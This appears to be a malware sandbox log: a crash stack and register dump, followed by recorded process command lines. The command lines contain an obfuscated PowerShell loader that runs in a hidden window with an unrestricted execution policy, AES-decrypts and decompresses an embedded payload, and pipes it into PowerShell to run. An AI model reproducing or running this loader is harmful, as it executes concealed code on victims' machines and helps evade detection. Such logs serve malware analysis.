ObjectStublessClient24+0x18f2 CLSIDFromString-0x4fe ole32+0x10182 @ 0x7fefdfd0182
BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x7718652d
RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x772bc521

exception.instruction_r: 48 81 c4 c8 00 00 00 c3 48 85 f6 74 08 83 3b 00
exception.symbol: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d
exception.instruction: add rsp, 0xc8
exception.module: KERNELBASE.dll
exception.exception_code: 0x80040155
exception.offset: 42141
exception.address: 0x7fefda5a49d
registers.r14: 0
registers.r15: 0
registers.rcx: 97641936
registers.rsi: 0
registers.r10: 0
registers.rbx: 0
registers.rsp: 97647888
registers.r11: 97643696
registers.r8: 0
registers.r9: 0
registers.rdx: 1
registers.r12: 0
registers.rbp: 0
registers.rdi: 0
registers.rax: 1928099660
registers.r13: 0
1 0 0
file C:\Users\test22\Desktop\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $CkSLmk = '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';$RKBuOgG = 'WkpPdFFEUmlkeE1BWHhQdVRXWGxUQlJmbVhpV2F1cUQ=';$fCmxgee = New-Object 'System.Security.Cryptography.AesManaged';$fCmxgee.Mode = [System.Security.Cryptography.CipherMode]::ECB;$fCmxgee.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$fCmxgee.BlockSize = 128;$fCmxgee.KeySize = 256;$fCmxgee.Key = [System.Convert]::FromBase64String($RKBuOgG);$Uqnei = [System.Convert]::FromBase64String($CkSLmk);$GAxymHXH = $Uqnei[0..15];$fCmxgee.IV = $GAxymHXH;$SboptnKnB = $fCmxgee.CreateDecryptor();$cvXoOACnM = $SboptnKnB.TransformFinalBlock($Uqnei, 16, $Uqnei.Length - 16);$fCmxgee.Dispose();$BmTYf = New-Object System.IO.MemoryStream( , $cvXoOACnM );$NKsaF = New-Object System.IO.MemoryStream;$RPUZWJJzc = New-Object System.IO.Compression.GzipStream $BmTYf, ([IO.Compression.CompressionMode]::Decompress);$RPUZWJJzc.CopyTo( $NKsaF );$RPUZWJJzc.Close();$BmTYf.Close();[byte[]] $ZmSVO = $NKsaF.ToArray();$lVlGq = [System.Text.Encoding]::UTF8.GetString($ZmSVO);$lVlGq | powershell - }
cmdline powershell.exe $CkSLmk = 'AAAAAAAAAAAAAAAAAAAAAAIbQTjOSbQZt9o3SjBvzvkQdn7hsQsxu+Eo4RJxOvcKUDqkEvEnbYuqy8cb9AUGZY/bTE9G0DaXqaOztLiEEq9fktIzUbjdF5LAwZRegBnPFtfDsKZEr6J06x7rtMKbm6YEiNN9EySla3HPdr2X9VJ+JkcJPrnWn6PBQFCaJhvPzraUI1Rd/PSXyY/5Z60co49LZUugmv4ULKu/jPpUzaBfiHJKm/aDB7Pzd9xz6OqzsOLvyhvtuwBfA0Gnuf9QdOrAdYHWUnHN7eNz+QkaBQJC/uKV7oaGgvw/GtaMYqOP7n7+ntn/cXfDujVOSQStVYkj8zZ5xaZMaAj9Y7z6R6U4ZUGaPVw7Hu9+8FMKVpWdQ+Wl6bijb6WUEdVzC3Rw7WgPR07I8n/DWPGfK2lDsq8+vC+y6xg7BbkUYypE+gYLfHWKaB8FUstAxEr4jGw4uzB07jleq8qghpPOP9G6Oo8bWdM271gu2hIOKk1B8RF8GKOd11k4Ybxc00mUqd50yseaJIBPgCu76aVgvZAh5B3/zURUMPrcI8YUXnnSUBCDkfz7QARbuoJ7H1Bhimr/z3qn7/+4CGnEqSWYNqEik3R+ZoL7acYKq9VcrJ5UWmdSowN8kt5NF70R9S4yCB2HwRGpqAXCKWVTF88mx4hNm+NMEm7Xe3H6fGuG13yycQV+B42fv/lRYorl/Tndn3OhZXp+DoBuOQhXWNuYB9Ln0L1Svw673r4jU6de481c1glkQ8JUoWiR3W+3dV211K4J+XRzk3VuphvXbkYDes2m2Hnfs9HnfMaHDStxryN10dqgEprWpziBLdAdR40QouOqQvZuE4Fe5LzxNumNRzjkBZSD1CFRSleMrmTZhULJPlNgDjZG9lVT88e0pw3jydVd6nH1uRdBN2rtiLGmntdWmTwwwcxg2eM+n2tAToY3vJLhfNZsS0fHebiZyzFG7SAq0/PgpwBewVxRGrnNx1d2hEGZeekv74dNG6oRaW/PAfTi7nbdZwG42iEgQBXbxhuy2nOHHGa3YSRbHZL0vSe6FvEqEVW55elo7+nmw91xwJ8IZho1DqVpF+EyyRFUu0kTYDnqUjauUZDv1anDSUSqFaTQRy1f+J295oiKgfapxd47z7vcZbsvOZX8z/WyyhLt9lp0+ma4M1n1Jq9QiM6yWfyXeM4eu67wrmxtz2f/8N/TmCwpncwEEKVflFbCN4X4ZiQONywVLEE3hxaN7EvE8bRAp3shomvROEsCNv6bveJlyekwUuExUAjvQugAC5Ndi7As6Axy3mGUZUs/j0MUiyu0UDB1kRNtiT+1teuEgVFHVU2mBlxiy9czF/n4FuqTF4Kwzd5xzaAjnD+es0JXbygU18Btt/TDwrDCH2+Rpi/xmw+iHGXf8+QBpthGnR5j4hJvPVBF4yum+xqkFYCv6qI/ZiR5nAQhev64Svb5aRi9MTmbyqovsy9hFg2sGiJ/8R+aWm4WK41nALjCQWiHh01W8jGIg/iFJp0at4usBLaQ/nthZPZA2MEcYAcsr+SGSnob5Cx6xcUGn6lLYyrV44rHh7p0pRKX03UfqPWYWqRyfUu2HchVQsTRECQNwKiFmy/DoLxplUBaQAMreM6KnL9eH98g/Pv811fUn8u3l4xiBnYE68Od7OqV0swwXZlZHO7zqkgjqyoUUrxj8Okr1Fl+cSZ1EC8fJFJ1YJJ5SiRAOXj2FRviA4n90OERPU3CkuhXn3IkHOWrrZAQyGKl+pN8MFLUns97TJZNoTqe9DcEx5XwmOtWYOcglZHV46UXKBzK+I+5mGnPJtleCy4zR7wNTANE3D7EWvqkZic9Yeu58Gwx/b7IbEmoLNEuxoGlZL7ORrhKaWG8alqyKmwmDTK8oTrD54W+D3nnTlcBiY6SXbhi8XFZMDfL1edy5WJL+FY0xnpxm2UHeklho73T2sQ2ifR8rmP0ijOSHCgBw5iB7iA9UHOnfE4C10sY+cfq7Lq2aXwt/6uxMLSBiFABajTqEH2u0uJE96Law5ldwy2fFgZBO+LX+1B/Elm/Wcwz/IYpxqNWa9UMYF5MC00ncxZRdFnMGA5QPXPM9ZfDFzJWsMcT75akiT5zCU6XQqTW9Dp0JYJ+9KklNmTtmoszgJF7Ig/xI6U0bb/eQ46QwCigllaxSJuvLMi+xibHU/PmqFVbQH7HhFyq1mAJFX5/ZulnypBV74f/nRpnJJ62l9zyv/bgjJFCnEEGjAwOv6+hvGVPXl2KqNEUCthKBF2xN/12lXq0W5gYRoHJbbIATJ71vYU2I6iOBCAIQVDfS5tPluQnDLC4CkX+enqvwB1XrB9rzc04vwGW5aTLQ8OM4MXmwVIqBCmPvwNANrLs9KYv4LNvP/lWeAaFHyIlv+EHFFEGXF2BaMOl+sFMLZZ31osy3awWM4qaG/5pxMjJ6MSkua/RtASAIBrCaRhmfjWtvCh5gatQxiCTbK8YmGLWesmt8R+D+Q180Gmmi+JNCwEjmR9GaaIgecD11jQGV9pB1CVbzqILBdPtTe1R7xlXaC8EXseoKRim4D+xxU06YhCbct4l9e8LzrY1RgDGU2MpXKh6WVfeB7Ol8chvzW1Ace751I/jVNN2GWoQvqs6zehMge4m+C2YVulzz2h0Pw8otqNOtWDZB7UAUU0YcFwP9FcSnScdDtc4KQO1aDmM2k+vL0Z1y1WQjRfLnQktRokoBv6omqUNrmzc7MQXE2iLtnhKuU7hKrWl5We1JDD+Em1LEpfmmI/I+8/e6qwMZDuGqFEpOIZTDD6Y/DDjwGij8VHrp93DnB7ObCL19JO9G+ic0bjxRTNpRs3q/zf78S71RqkaxDBPOYwYFBs+q3yN/Ch6a/q72tOFpHoGsm39UWgsvxidmwYVrZoP6QB2VCGRPkjZojs43zw8kHakR6d6jx0CjczKRlrVk8VFnW1lI3GHa21564DnSOeB+agB5o1Ey2vq2ig4TXRCsDNUNR+K/dywY9RD3ZtoYn5ihDTuPYWWt16IJ4ubzEum6bhn/b7zxa/C1cLpzxwhRujfaHsg0wmGE0D9dxqy2nl8r9S1ew95ahuyOvDQssoaBkNnk5XgMucabOrFlOwfLTCo1ni06dveM4AG12GPDv1+zvL9F67ATzNG+XePwpBe+e3espNwdPc/cgX9FVWhnCshD5h0477cnN3AtQlJ9g7OWU9R87S9Xk2Z/RdOr25zk3DiqPcACdEEvSU5kEa2KMnJ3dTZuO28pc9Ykg51Z2VbGMIYNqKXJr53k7t34mh94dAgNSTBbPcfwyLQiE33Ztn2jOCiUFsfYWU7vAamx60u/41Gp1gNhfLHKkyDG+cHbhVZvCsN8/cvyD/Iv3N+F357UGzxiSmXbjeI+D6jBMQD4EAAyBNb41LaOJjjSae/kkBbcEX+9jf+0K9wpK1XDTIkfiiTFYehTHlS3tmgFPJ1HtfI0xXu+AJAWwKOTdMxVwhKit4Fh4CVrkGPoIxhQfepkgGPCe9V/NPHEChbuEQ97RSiO0/dul11R5LDNm9vBOeDPddW8erdGJGeD7KwkQ7AyxMz4XcjGgvYfXAGD0TgSEtItQSUDbIlXmJWvaL7dclT7YkghsvY4irgovgq7DLKh30ZB2p1yqD+37a2E4LmtkiaBOAp0uDWvvifoWu0q9R/19tNwq0e9ic/TX9s8p4eGlNf1hEt1xGjqT5KXaSRbdmSM7oK/wbBSnKv5uBdZ8aPAY5SlpkanFW8yKMJiyRrfVpvD1x6CbLQuvgnnAjcZYc7sAj5FwiaDeE+oh6LQcbSvCtkCxextImUtyaZ3LkJDtfgBVs1Ackg2NbyWjAe6pU8TrJv5AWEY29sff5tL0cigzm3YSOD3NBtiakaxW33VSuK2LhefPlC8yQ0jCchfUmv07JljBO7idmeFXV8x/TAWqF20gopxlfzaY+dza/INHrd2lQX6b7yFabWvo0rZuiNGjM5nWhGEweiAI+arqwBJ/w/aXTuOj7TWbTguLex0XtHROcznzFx4uPPMVNoTF/kzIfxeugM6KTOt42uqDDEPdB0PA83gRRBY42PsDlTxbLFtqoVi/o3lFRCJycRUazyM8ale3Spd7frAysauyjwTAtD7XA=';$RKBuOgG = 'WkpPdFFEUmlkeE1BWHhQdVRXWGxUQlJmbVhpV2F1cUQ=';$fCmxgee = New-Object 'System.Security.Cryptography.AesManaged';$fCmxgee.Mode = [System.Security.Cryptography.CipherMode]::ECB;$fCmxgee.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$fCmxgee.BlockSize = 128;$fCmxgee.KeySize = 256;$fCmxgee.Key = [System.Convert]::FromBase64String($RKBuOgG);$Uqnei = [System.Convert]::FromBase64String($CkSLmk);$GAxymHXH = $Uqnei[0..15];$fCmxgee.IV = $GAxymHXH;$SboptnKnB = $fCmxgee.CreateDecryptor();$cvXoOACnM = $SboptnKnB.TransformFinalBlock($Uqnei, 16, $Uqnei.Length - 16);$fCmxgee.Dispose();$BmTYf = New-Object System.IO.MemoryStream( , $cvXoOACnM );$NKsaF = New-Object System.IO.MemoryStream;$RPUZWJJzc = New-Object System.IO.Compression.GzipStream $BmTYf, ([IO.Compression.CompressionMode]::Decompress);$RPUZWJJzc.CopyTo( $NKsaF );$RPUZWJJzc.Close();$BmTYf.Close();[byte[]] $ZmSVO = $NKsaF.ToArray();$lVlGq = [System.Text.Encoding]::UTF8.GetString($ZmSVO);$lVlGq
cmdline powershell.exe -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $CkSLmk = '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';$RKBuOgG = 'WkpPdFFEUmlkeE1BWHhQdVRXWGxUQlJmbVhpV2F1cUQ=';$fCmxgee = New-Object 'System.Security.Cryptography.AesManaged';$fCmxgee.Mode = [System.Security.Cryptography.CipherMode]::ECB;$fCmxgee.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$fCmxgee.BlockSize = 128;$fCmxgee.KeySize = 256;$fCmxgee.Key = [System.Convert]::FromBase64String($RKBuOgG);$Uqnei = [System.Convert]::FromBase64String($CkSLmk);$GAxymHXH = $Uqnei[0..15];$fCmxgee.IV = $GAxymHXH;$SboptnKnB = $fCmxgee.CreateDecryptor();$cvXoOACnM = $SboptnKnB.TransformFinalBlock($Uqnei, 16, $Uqnei.Length - 16);$fCmxgee.Dispose();$BmTYf = New-Object System.IO.MemoryStream( , $cvXoOACnM );$NKsaF = New-Object System.IO.MemoryStream;$RPUZWJJzc = New-Object System.IO.Compression.GzipStream $BmTYf, ([IO.Compression.CompressionMode]::Decompress);$RPUZWJJzc.CopyTo( $NKsaF );$RPUZWJJzc.Close();$BmTYf.Close();[byte[]] $ZmSVO = $NKsaF.ToArray();$lVlGq = [System.Text.Encoding]::UTF8.GetString($ZmSVO);$lVlGq | powershell - }
cmdline powershell -
cmdline "C:\Windows\system32\cmd.exe" /c powershell.exe $CkSLmk = 'AAAAAAAAAAAAAAAAAAAAAAIbQTjOSbQZt9o3SjBvzvkQdn7hsQsxu+Eo4RJxOvcKUDqkEvEnbYuqy8cb9AUGZY/bTE9G0DaXqaOztLiEEq9fktIzUbjdF5LAwZRegBnPFtfDsKZEr6J06x7rtMKbm6YEiNN9EySla3HPdr2X9VJ+JkcJPrnWn6PBQFCaJhvPzraUI1Rd/PSXyY/5Z60co49LZUugmv4ULKu/jPpUzaBfiHJKm/aDB7Pzd9xz6OqzsOLvyhvtuwBfA0Gnuf9QdOrAdYHWUnHN7eNz+QkaBQJC/uKV7oaGgvw/GtaMYqOP7n7+ntn/cXfDujVOSQStVYkj8zZ5xaZMaAj9Y7z6R6U4ZUGaPVw7Hu9+8FMKVpWdQ+Wl6bijb6WUEdVzC3Rw7WgPR07I8n/DWPGfK2lDsq8+vC+y6xg7BbkUYypE+gYLfHWKaB8FUstAxEr4jGw4uzB07jleq8qghpPOP9G6Oo8bWdM271gu2hIOKk1B8RF8GKOd11k4Ybxc00mUqd50yseaJIBPgCu76aVgvZAh5B3/zURU